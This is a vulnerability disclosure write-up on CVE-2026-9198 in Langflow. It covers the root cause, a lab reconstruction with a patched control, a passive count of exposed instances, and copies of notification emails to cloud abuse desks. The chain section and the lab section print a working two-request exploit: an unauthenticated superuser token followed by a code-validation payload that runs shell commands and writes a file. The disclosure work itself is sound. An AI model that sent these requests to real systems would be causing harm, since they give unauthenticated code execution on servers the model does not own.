CVE-2026-9198: One request to code execution

Summary

What happened, and what we did

Langflow 1.0.0 through 1.10.0 shipped an unauthenticated code-execution chain on default deployments. We rebuilt it in an isolated lab, captured the affected-versus-patched differential, enumerated the internet-exposed population passively, and disclosed through hosting-provider abuse desks, the only route available for an anonymous cloud-VM pool. Two providers responded substantively, one relaying a detailed operator remediation statement.

Reachable by anyone: GET /api/v1/auto_login returned a 365-day superuser token with no credentials on deployments that kept the default LANGFLOW_AUTO_LOGIN=true.
Second request, code execution: POST /api/v1/validate/code ran submitted function definitions and echoed command output in the response. A file write followed from the same primitive.
Lab-reproduced with a control: full chain on 1.10.0; the 1.10.1 control closes both halves (short-lived tokens, empty exec sink).
Exposure: 1,768 Shodan matches collected, 244 hosts version-confirmed vulnerable (lower bound), 238 covered by eight consolidated hosting-provider reports.
Scope: all exploitation was performed on lab instances we own. Field findings used one benign unauthenticated version request per host.

Scope

What this can and cannot establish

Can establish

A complete unauthenticated chain (token, code execution, file write) reproduced on the exact vulnerable release, with a negative control on the patched release.
A passive exposure count and version triage of internet-facing instances at the time of research.
Provider-route disclosure with recipient outcomes, including one detailed operator remediation statement.

Cannot establish

Original discovery. This is a post-disclosure reconstruction; IBM and CISA came first, and the public timeline starts in June 2026.
Owner attribution for the exposed pool. The hosts are cloud VMs without identifying domains or contacts, so notification ran through providers, not operators directly.
That any specific instance was exploited. Version exposure is not proof of compromise, and configuration matters: the unauthenticated chain requires auto-login to be enabled, the default but not a universal choice.

Timeline

How the disclosure moved

Date	Event
23 Jun 2026	Langflow 1.10.1 released (fix)
2 Jul 2026	IBM bulletin
6 Jul 2026	First in-the-wild sensor hits Before the CVE was published
17 Jul 2026	CVE-2026-9198 published
29 Jul 2026	Public nuclei template merged
4 Aug 2026	CISA KEV listing (remediation due 07 Aug)
17-18 Aug 2026	Independent reconstruction, lab validation, exposure sweep, provider notifications This work, all lab-confined

Root cause

Two defaults that compound

Auto-login. The endpoint GET /api/v1/auto_login issues tokens without authentication. In affected versions the token was a long-lived superuser token, so on any deployment that kept the default LANGFLOW_AUTO_LOGIN=true, the endpoint worked as an unauthenticated skeleton key.

GET /api/v1/auto_login

→ 200  {"access_token": "<JWT>", "refresh_token": null, "token_type": "bearer"}
payload decodes to a superuser subject with a 365-day expiry (exp ≈ 2027-08-17)

The exec sink. POST /api/v1/validate/code compiled and ran submitted function definitions as part of validation, including decorators and default arguments. A crafted default argument executed shell commands, and the captured output came back to the caller inside the HTTP response. The fix commits are e7c33dba (validate_code) and 744c36e5 (auto_login hardening), merged as langflow-ai/langflow#13696 and #13699.

The chain

From an unauthenticated GET to a shell

# Step 1: token, no credentials
GET /api/v1/auto_login
→ 200  long-lived superuser JWT

# Step 2: the exec sink
POST /api/v1/validate/code          Authorization: Bearer <token>
{"code": "def _lf_poc(_=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True).decode())')): pass"}
→ 200  {"function":{"errors":["uid=1000(user) gid=0(root) groups=0(root)"]}}

# Step 3: write primitive from the same call
--cmd "id && touch /tmp/lf_poc_marker && hostname"
→ 200  file written, container hostname echoed

Affected versus patched, same payloads

Probe	Vulnerable (1.10.0)	Patched (1.10.1)
`GET /api/v1/auto_login`	200, long-lived superuser token	200, short-lived access + refresh tokens
`POST /api/v1/validate/code`	200, command output in `function.errors`	200, empty `function.errors`

In the wild

What the attempts looked like

Telemetry through 17 August 2026 records 793 exploitation attempts from 315 source IPs across 44 countries, with the first sensor hits on 6 July, before the CVE was even published. The request pattern follows the chain directly: a sequential /api/v1/auto_login followed by /api/v1/validate/code. A public nuclei template merged on 29 July, and Langflow's recurring default-insecure history (CVE-2025-3248 and others) is part of why this class keeps landing in KEV.

The fix

What 1.10.1 changed

Auto-login hardened: tokens became short-lived access tokens plus refresh tokens, removing the 365-day superuser skeleton key.
Exec sink closed: the code-validation endpoint no longer executes submitted code; the same payload returns empty errors.
Fix commits: e7c33dba and 744c36e5 (langflow-ai/langflow#13696, #13699), released as 1.10.1 on 23 June 2026.

Exposure

How many instances, measured passively

Enumeration used Shodan's stored scan data only, followed by one benign unauthenticated GET /api/v1/version per host. Nothing was exploited against third parties.

Measure	Count	Method
Exposed Langflow (Shodan sweep)	1,768 collected	Passive API sweep
Version-vulnerable (below 1.10.1)	244	Unauthenticated version request
Patched (1.10.1+)	7	Same
Unresolved (timeouts, filtered)	1,317	Stale or firewalled hosts

The vulnerable count is a lower bound: 1,242 of the unresolved hosts timed out, and a slower pass could surface more. Public estimates differ by methodology; Censys reported roughly 7,000 exposed instances in June 2026, while our triage counts only hosts that answered at sweep time. Geography of the vulnerable set: US 49, IN 16, AU 15, CA 14, ZA 13, JP 13, IT 10, UK 10.

Outreach

Disclosure through the only available channel

The pool is cloud-VM dominated: 242 of 244 hosts are IP-literal endpoints with no identifying domains, certificates, or public records, so direct owner notification was not possible. Hosting providers were the actionable channel, and they consolidate well. Eight consolidated reports covered 238 of 244 hosts, with AWS alone carrying 219 instances in one report.

Provider	Instances covered
Amazon Web Services	219
Google Cloud	6
Oracle Cloud	4
DigitalOcean	3
Tencent Cloud	2
Hetzner	2
Microsoft Azure	1
CloudFerro	1

Six hosts were unreachable through any provider route and are documented as such. Two providers responded substantively: Hetzner confirmed with the operator's statement and locked the exposed IP; AWS acknowledged and opened an investigation case. The operator statement described a complete remediation (port rebound to localhost, upgrade to 1.11.5, default-deny firewall, monthly image refresh) and also confirmed a configuration nuance we reflect honestly: that instance ran a vulnerable version with auto-login disabled, so the unauthenticated chain did not apply there. Redacted copies of the eight notification emails we sent and of the replies we received are below. Per-target records are intentionally not published.

Amazon Web Services — 219 instances

From: Riftweld Security <security@riftweld.com>
To: abuse@amazonaws.com
Subject: Security notice - 219 vulnerable Langflow instances (CVE-2026-9198) on Amazon Web Services infrastructure
Date: 18 Aug 2026, 13:42 UTC

# Amazon Web Services — consolidated CVE-2026-9198 vulnerability report

Date: 2026-08-18 · Researcher: Riftweld (vulnerability disclosure; passive) ·
Operations repo: langflow-cve-op · Contact for this report: abuse@amazonaws.com

## Summary

CVE-2026-9198 (IBM Langflow code injection, CVSS 9.8, CISA KEV 2026-08-04)
allows **unauthenticated remote code execution** on Langflow 1.0.0-1.10.0.
Fixed in 1.10.1 (released 2026-06-23). Actively exploited in the wild
(KEVIntel: 793 attempts / 315 IPs / 44 countries through 2026-08-17).

We found **219 vulnerable instances on your infrastructure**, identified
by an internet-wide exposure sweep plus one benign unauthenticated version
request (`GET /api/v1/version`) per host — no exploitation was performed and
no data was accessed. Details below.

## Evidence signature (lab-verified on owned infra)

Vulnerable (1.10.0): `GET /api/v1/auto_login` returns a long-lived superuser
JWT, then `POST /api/v1/validate/code` executes arbitrary code and echoes
command output in the response. Patched (1.10.1): token is short-lived and
the exec sink returns empty. Full transcript: poc/poc_transcript.md in the
langflow-cve-op repo.

## Affected instances on your infrastructure

_Table: 219 instances (IP, port, version, observed) - withheld here; per-target records are intentionally not published._

## What we ask

1. Notify your tenants/owners of these instances to upgrade Langflow to
   **1.10.1 or later** (`pip install langflow -U` or repull the docker tag).
2. If you cannot reach the operator, consider null-routing or firewall
   blocking the instance's public port (as listed above) until patched.

## Boundaries

All evidence was collected passively (Shodan stored data + one benign GET
per host). Nothing was exploited against these systems. We will not contact
these instances directly beyond this report.

Per-instance table (219 rows) withheld — per-target records are intentionally not published.

Google Cloud — 6 instances

From: Riftweld Security <security@riftweld.com>
To: abuse@google.com
Subject: Security notice - 6 vulnerable Langflow instances (CVE-2026-9198) on Google Cloud infrastructure
Date: 18 Aug 2026, 13:42 UTC

# Google Cloud — consolidated CVE-2026-9198 vulnerability report

Date: 2026-08-18 · Researcher: Riftweld (vulnerability disclosure; passive) ·
Operations repo: langflow-cve-op · Contact for this report: abuse@google.com

## Summary

CVE-2026-9198 (IBM Langflow code injection, CVSS 9.8, CISA KEV 2026-08-04)
allows **unauthenticated remote code execution** on Langflow 1.0.0-1.10.0.
Fixed in 1.10.1 (released 2026-06-23). Actively exploited in the wild
(KEVIntel: 793 attempts / 315 IPs / 44 countries through 2026-08-17).

We found **6 vulnerable instances on your infrastructure**, identified
by an internet-wide exposure sweep plus one benign unauthenticated version
request (`GET /api/v1/version`) per host — no exploitation was performed and
no data was accessed. Details below.

## Evidence signature (lab-verified on owned infra)

Vulnerable (1.10.0): `GET /api/v1/auto_login` returns a long-lived superuser
JWT, then `POST /api/v1/validate/code` executes arbitrary code and echoes
command output in the response. Patched (1.10.1): token is short-lived and
the exec sink returns empty. Full transcript: poc/poc_transcript.md in the
langflow-cve-op repo.

## Affected instances on your infrastructure

_Table: 6 instances (IP, port, version, observed) - withheld here; per-target records are intentionally not published._

## What we ask

1. Notify your tenants/owners of these instances to upgrade Langflow to
   **1.10.1 or later** (`pip install langflow -U` or repull the docker tag).
2. If you cannot reach the operator, consider null-routing or firewall
   blocking the instance's public port (as listed above) until patched.

## Boundaries

All evidence was collected passively (Shodan stored data + one benign GET
per host). Nothing was exploited against these systems. We will not contact
these instances directly beyond this report.

Per-instance table (6 rows) withheld — per-target records are intentionally not published.

Oracle Cloud — 4 instances

From: Riftweld Security <security@riftweld.com>
To: abuse@oracle.com
Subject: Security notice - 4 vulnerable Langflow instances (CVE-2026-9198) on Oracle Cloud infrastructure
Date: 18 Aug 2026, 13:42 UTC

# Oracle Cloud — consolidated CVE-2026-9198 vulnerability report

Date: 2026-08-18 · Researcher: Riftweld (vulnerability disclosure; passive) ·
Operations repo: langflow-cve-op · Contact for this report: abuse@oracle.com

## Summary

CVE-2026-9198 (IBM Langflow code injection, CVSS 9.8, CISA KEV 2026-08-04)
allows **unauthenticated remote code execution** on Langflow 1.0.0-1.10.0.
Fixed in 1.10.1 (released 2026-06-23). Actively exploited in the wild
(KEVIntel: 793 attempts / 315 IPs / 44 countries through 2026-08-17).

We found **4 vulnerable instances on your infrastructure**, identified
by an internet-wide exposure sweep plus one benign unauthenticated version
request (`GET /api/v1/version`) per host — no exploitation was performed and
no data was accessed. Details below.

## Evidence signature (lab-verified on owned infra)

Vulnerable (1.10.0): `GET /api/v1/auto_login` returns a long-lived superuser
JWT, then `POST /api/v1/validate/code` executes arbitrary code and echoes
command output in the response. Patched (1.10.1): token is short-lived and
the exec sink returns empty. Full transcript: poc/poc_transcript.md in the
langflow-cve-op repo.

## Affected instances on your infrastructure

_Table: 4 instances (IP, port, version, observed) - withheld here; per-target records are intentionally not published._

## What we ask

1. Notify your tenants/owners of these instances to upgrade Langflow to
   **1.10.1 or later** (`pip install langflow -U` or repull the docker tag).
2. If you cannot reach the operator, consider null-routing or firewall
   blocking the instance's public port (as listed above) until patched.

## Boundaries

All evidence was collected passively (Shodan stored data + one benign GET
per host). Nothing was exploited against these systems. We will not contact
these instances directly beyond this report.

Per-instance table (4 rows) withheld — per-target records are intentionally not published.

DigitalOcean — 3 instances

From: Riftweld Security <security@riftweld.com>
To: abuse@digitalocean.com
Subject: Security notice - 3 vulnerable Langflow instances (CVE-2026-9198) on Digitalocean infrastructure
Date: 18 Aug 2026, 13:42 UTC

# DigitalOcean — consolidated CVE-2026-9198 vulnerability report

Date: 2026-08-18 · Researcher: Riftweld (vulnerability disclosure; passive) ·
Operations repo: langflow-cve-op · Contact for this report: abuse@digitalocean.com

## Summary

CVE-2026-9198 (IBM Langflow code injection, CVSS 9.8, CISA KEV 2026-08-04)
allows **unauthenticated remote code execution** on Langflow 1.0.0-1.10.0.
Fixed in 1.10.1 (released 2026-06-23). Actively exploited in the wild
(KEVIntel: 793 attempts / 315 IPs / 44 countries through 2026-08-17).

We found **3 vulnerable instances on your infrastructure**, identified
by an internet-wide exposure sweep plus one benign unauthenticated version
request (`GET /api/v1/version`) per host — no exploitation was performed and
no data was accessed. Details below.

## Evidence signature (lab-verified on owned infra)

Vulnerable (1.10.0): `GET /api/v1/auto_login` returns a long-lived superuser
JWT, then `POST /api/v1/validate/code` executes arbitrary code and echoes
command output in the response. Patched (1.10.1): token is short-lived and
the exec sink returns empty. Full transcript: poc/poc_transcript.md in the
langflow-cve-op repo.

## Affected instances on your infrastructure

_Table: 3 instances (IP, port, version, observed) - withheld here; per-target records are intentionally not published._

## What we ask

1. Notify your tenants/owners of these instances to upgrade Langflow to
   **1.10.1 or later** (`pip install langflow -U` or repull the docker tag).
2. If you cannot reach the operator, consider null-routing or firewall
   blocking the instance's public port (as listed above) until patched.

## Boundaries

All evidence was collected passively (Shodan stored data + one benign GET
per host). Nothing was exploited against these systems. We will not contact
these instances directly beyond this report.

Per-instance table (3 rows) withheld — per-target records are intentionally not published.

Tencent Cloud — 2 instances

From: Riftweld Security <security@riftweld.com>
To: qcloud_net_duty@tencent.com
Subject: Security notice - 2 vulnerable Langflow instances (CVE-2026-9198) on Tencent Cloud infrastructure
Date: 18 Aug 2026, 13:42 UTC

# Tencent Cloud — consolidated CVE-2026-9198 vulnerability report

Date: 2026-08-18 · Researcher: Riftweld (vulnerability disclosure; passive) ·
Operations repo: langflow-cve-op · Contact for this report: qcloud_net_duty@tencent.com

## Summary

CVE-2026-9198 (IBM Langflow code injection, CVSS 9.8, CISA KEV 2026-08-04)
allows **unauthenticated remote code execution** on Langflow 1.0.0-1.10.0.
Fixed in 1.10.1 (released 2026-06-23). Actively exploited in the wild
(KEVIntel: 793 attempts / 315 IPs / 44 countries through 2026-08-17).

We found **2 vulnerable instances on your infrastructure**, identified
by an internet-wide exposure sweep plus one benign unauthenticated version
request (`GET /api/v1/version`) per host — no exploitation was performed and
no data was accessed. Details below.

## Evidence signature (lab-verified on owned infra)

Vulnerable (1.10.0): `GET /api/v1/auto_login` returns a long-lived superuser
JWT, then `POST /api/v1/validate/code` executes arbitrary code and echoes
command output in the response. Patched (1.10.1): token is short-lived and
the exec sink returns empty. Full transcript: poc/poc_transcript.md in the
langflow-cve-op repo.

## Affected instances on your infrastructure

_Table: 2 instances (IP, port, version, observed) - withheld here; per-target records are intentionally not published._

## What we ask

1. Notify your tenants/owners of these instances to upgrade Langflow to
   **1.10.1 or later** (`pip install langflow -U` or repull the docker tag).
2. If you cannot reach the operator, consider null-routing or firewall
   blocking the instance's public port (as listed above) until patched.

## Boundaries

All evidence was collected passively (Shodan stored data + one benign GET
per host). Nothing was exploited against these systems. We will not contact
these instances directly beyond this report.

Per-instance table (2 rows) withheld — per-target records are intentionally not published.

Hetzner — 2 instances

From: Riftweld Security <security@riftweld.com>
To: abuse@hetzner.com
Subject: Security notice - 2 vulnerable Langflow instances (CVE-2026-9198) on Hetzner infrastructure
Date: 18 Aug 2026, 13:42 UTC

# Hetzner — consolidated CVE-2026-9198 vulnerability report

Date: 2026-08-18 · Researcher: Riftweld (vulnerability disclosure; passive) ·
Operations repo: langflow-cve-op · Contact for this report: abuse@hetzner.com

## Summary

CVE-2026-9198 (IBM Langflow code injection, CVSS 9.8, CISA KEV 2026-08-04)
allows **unauthenticated remote code execution** on Langflow 1.0.0-1.10.0.
Fixed in 1.10.1 (released 2026-06-23). Actively exploited in the wild
(KEVIntel: 793 attempts / 315 IPs / 44 countries through 2026-08-17).

We found **2 vulnerable instances on your infrastructure**, identified
by an internet-wide exposure sweep plus one benign unauthenticated version
request (`GET /api/v1/version`) per host — no exploitation was performed and
no data was accessed. Details below.

## Evidence signature (lab-verified on owned infra)

Vulnerable (1.10.0): `GET /api/v1/auto_login` returns a long-lived superuser
JWT, then `POST /api/v1/validate/code` executes arbitrary code and echoes
command output in the response. Patched (1.10.1): token is short-lived and
the exec sink returns empty. Full transcript: poc/poc_transcript.md in the
langflow-cve-op repo.

## Affected instances on your infrastructure

_Table: 2 instances (IP, port, version, observed) - withheld here; per-target records are intentionally not published._

## What we ask

1. Notify your tenants/owners of these instances to upgrade Langflow to
   **1.10.1 or later** (`pip install langflow -U` or repull the docker tag).
2. If you cannot reach the operator, consider null-routing or firewall
   blocking the instance's public port (as listed above) until patched.

## Boundaries

All evidence was collected passively (Shodan stored data + one benign GET
per host). Nothing was exploited against these systems. We will not contact
these instances directly beyond this report.

Per-instance table (2 rows) withheld — per-target records are intentionally not published.

Microsoft Azure — 1 instance

From: Riftweld Security <security@riftweld.com>
To: abuse@microsoft.com
Subject: Security notice - 1 vulnerable Langflow instances (CVE-2026-9198) on Microsoft Azure infrastructure
Date: 18 Aug 2026, 13:42 UTC

# Microsoft Azure — consolidated CVE-2026-9198 vulnerability report

Date: 2026-08-18 · Researcher: Riftweld (vulnerability disclosure; passive) ·
Operations repo: langflow-cve-op · Contact for this report: abuse@microsoft.com

## Summary

CVE-2026-9198 (IBM Langflow code injection, CVSS 9.8, CISA KEV 2026-08-04)
allows **unauthenticated remote code execution** on Langflow 1.0.0-1.10.0.
Fixed in 1.10.1 (released 2026-06-23). Actively exploited in the wild
(KEVIntel: 793 attempts / 315 IPs / 44 countries through 2026-08-17).

We found **1 vulnerable instances on your infrastructure**, identified
by an internet-wide exposure sweep plus one benign unauthenticated version
request (`GET /api/v1/version`) per host — no exploitation was performed and
no data was accessed. Details below.

## Evidence signature (lab-verified on owned infra)

Vulnerable (1.10.0): `GET /api/v1/auto_login` returns a long-lived superuser
JWT, then `POST /api/v1/validate/code` executes arbitrary code and echoes
command output in the response. Patched (1.10.1): token is short-lived and
the exec sink returns empty. Full transcript: poc/poc_transcript.md in the
langflow-cve-op repo.

## Affected instances on your infrastructure

_Table: 1 instances (IP, port, version, observed) - withheld here; per-target records are intentionally not published._

## What we ask

1. Notify your tenants/owners of these instances to upgrade Langflow to
   **1.10.1 or later** (`pip install langflow -U` or repull the docker tag).
2. If you cannot reach the operator, consider null-routing or firewall
   blocking the instance's public port (as listed above) until patched.

## Boundaries

All evidence was collected passively (Shodan stored data + one benign GET
per host). Nothing was exploited against these systems. We will not contact
these instances directly beyond this report.

Per-instance table (1 row) withheld — per-target records are intentionally not published.

CloudFerro — 1 instance

From: Riftweld Security <security@riftweld.com>
To: abuse@cloudferro.com
Subject: Security notice - 1 vulnerable Langflow instances (CVE-2026-9198) on Cloudferro infrastructure
Date: 18 Aug 2026, 13:42 UTC

# CloudFerro — consolidated CVE-2026-9198 vulnerability report

Date: 2026-08-18 · Researcher: Riftweld (vulnerability disclosure; passive) ·
Operations repo: langflow-cve-op · Contact for this report: abuse@cloudferro.com

## Summary

CVE-2026-9198 (IBM Langflow code injection, CVSS 9.8, CISA KEV 2026-08-04)
allows **unauthenticated remote code execution** on Langflow 1.0.0-1.10.0.
Fixed in 1.10.1 (released 2026-06-23). Actively exploited in the wild
(KEVIntel: 793 attempts / 315 IPs / 44 countries through 2026-08-17).

We found **1 vulnerable instances on your infrastructure**, identified
by an internet-wide exposure sweep plus one benign unauthenticated version
request (`GET /api/v1/version`) per host — no exploitation was performed and
no data was accessed. Details below.

## Evidence signature (lab-verified on owned infra)

Vulnerable (1.10.0): `GET /api/v1/auto_login` returns a long-lived superuser
JWT, then `POST /api/v1/validate/code` executes arbitrary code and echoes
command output in the response. Patched (1.10.1): token is short-lived and
the exec sink returns empty. Full transcript: poc/poc_transcript.md in the
langflow-cve-op repo.

## Affected instances on your infrastructure

_Table: 1 instances (IP, port, version, observed) - withheld here; per-target records are intentionally not published._

## What we ask

1. Notify your tenants/owners of these instances to upgrade Langflow to
   **1.10.1 or later** (`pip install langflow -U` or repull the docker tag).
2. If you cannot reach the operator, consider null-routing or firewall
   blocking the instance's public port (as listed above) until patched.

## Boundaries

All evidence was collected passively (Shodan stored data + one benign GET
per host). Nothing was exploited against these systems. We will not contact
these instances directly beyond this report.

Per-instance table (1 row) withheld — per-target records are intentionally not published.

Copies of the notification emails, sent 18 August 2026 (UTC) to hosting-provider abuse desks and reproduced from the delivery record. Message bodies are verbatim; per-instance tables are withheld — per-target records are intentionally not published. Files: notifications/.

Redacted provider reply: AWS Trust and Safety acknowledges the abuse report and states it will investigate, with a case number. — Provider replies received in August and September 2026, redacted. AWS acknowledged the report and opened an investigation case; Hetzner locked the exposed IP and relayed the operator's remediation statement. The statement also notes that auto-login was disabled on that deployment, so the unauthenticated chain did not apply there.

Redacted provider reply: Hetzner states that it has locked the reported IP. — Provider replies received in August and September 2026, redacted. AWS acknowledged the report and opened an investigation case; Hetzner locked the exposed IP and relayed the operator's remediation statement. The statement also notes that auto-login was disabled on that deployment, so the unauthenticated chain did not apply there.

Lab method

How the reconstruction was verified

Two local Docker containers on owned infrastructure: langflowai/langflow:1.10.0 as the vulnerable target and 1.10.1 as the patched control, both with the default auto-login configuration. Every step ran against those two containers only.

docker run -d --name lf-lab -p 127.0.0.1:7860:7860 \
    -e LANGFLOW_AUTO_LOGIN=true langflowai/langflow:1.10.0

python3 poc/poc_takeover.py --url http://127.0.0.1:7860 --cmd "id"
{"function":{"errors":["uid=1000(user) gid=0(root) groups=0(root)"]}}

An honesty note on exploitability

Version exposure and exploitability are not the same claim. The unauthenticated chain requires auto-login to be enabled, and one operator statement received during outreach described a vulnerable-version deployment where it was disabled. Our notifications said exactly that, and our exposure numbers count version-vulnerable hosts, not confirmed exploitable ones.

Everything (the PoC, the transcript, the signature table) is in the accompanying repository.

References

Primary sources

VendorIBM advisory for CVE-2026-9198
CVENVD: CVE-2026-9198
AdvisoryGHSA-5wm9-vgmg-cjv6
ExploitationCISA Known Exploited Vulnerabilities catalog
This workRepository: write-up, lab log, PoC